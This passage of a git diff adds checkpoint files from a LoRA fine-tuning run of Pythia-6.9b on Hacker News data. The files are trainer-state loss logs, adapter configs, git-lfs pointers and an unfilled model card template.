"loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.02917527322624e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..221114f042303a136b5a76bbc18a0d12c2858f80 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c79dfdad0593aeaf925fc6952706e6d832bb2ff1e6ae1d8300af8ddd49b4f036 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..8d0192be302a92c2df8af783516f250d5d55cc85 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:651e258b6835a67afaeda95672c211d60ec9ff612e3ca8d264265f3eafdca368 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..c1fc54eb4786e9f15244e8e4274b14688b87da5d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7062fa0264c6fb17100531852b46c235ce631a6626d5e19749a65ba8723532c0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..cee24f7781db565e483521e84ddc6dd277a07ef3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8f79415c3ece613ed89d676bff22f42086790a2bced0de6758824fb8c7e27fcc +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..74c6eb62092c4fbb10ff13ed4749dce038ed3114 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json @@ -0,0 +1,108 @@ +{ + "best_metric": 2.4803571701049805, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50", + "epoch": 0.6666666666666666, + "eval_steps": 10, + "global_step": 50, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8193035993088000.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..68fde02b45feaadc5b7c45313aec337d42bc834a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:56afaec0c5a52814e3853159859d8d10ca4dca3b3bd0f2519646f3af8749a54e +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..662b8b59412497af7211341beac633937ff43e87 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5465429f230a55c8a746de1119c27eeb39e394143a91a5f9ff42f028ae12a478 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..96edd96602542afab3935d537c8d1428ce43196b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:beda198a64f1e6f1db0895ff6a6859c2af4c98fbf9c15d1daa4dcca9c20f50be +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..36002f421a8027f0e22e1cea8d6c317eebfd0e2d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e63d56828d52c149ac34c43bdc2adc48c363068c94b9a3df26528670b68d615b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..14e592f774f276d345b0cac5dc9a25c58cd50159 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json @@ -0,0 +1,783 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.666666666666667, + "eval_steps": 10, + "global_step": 500, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + 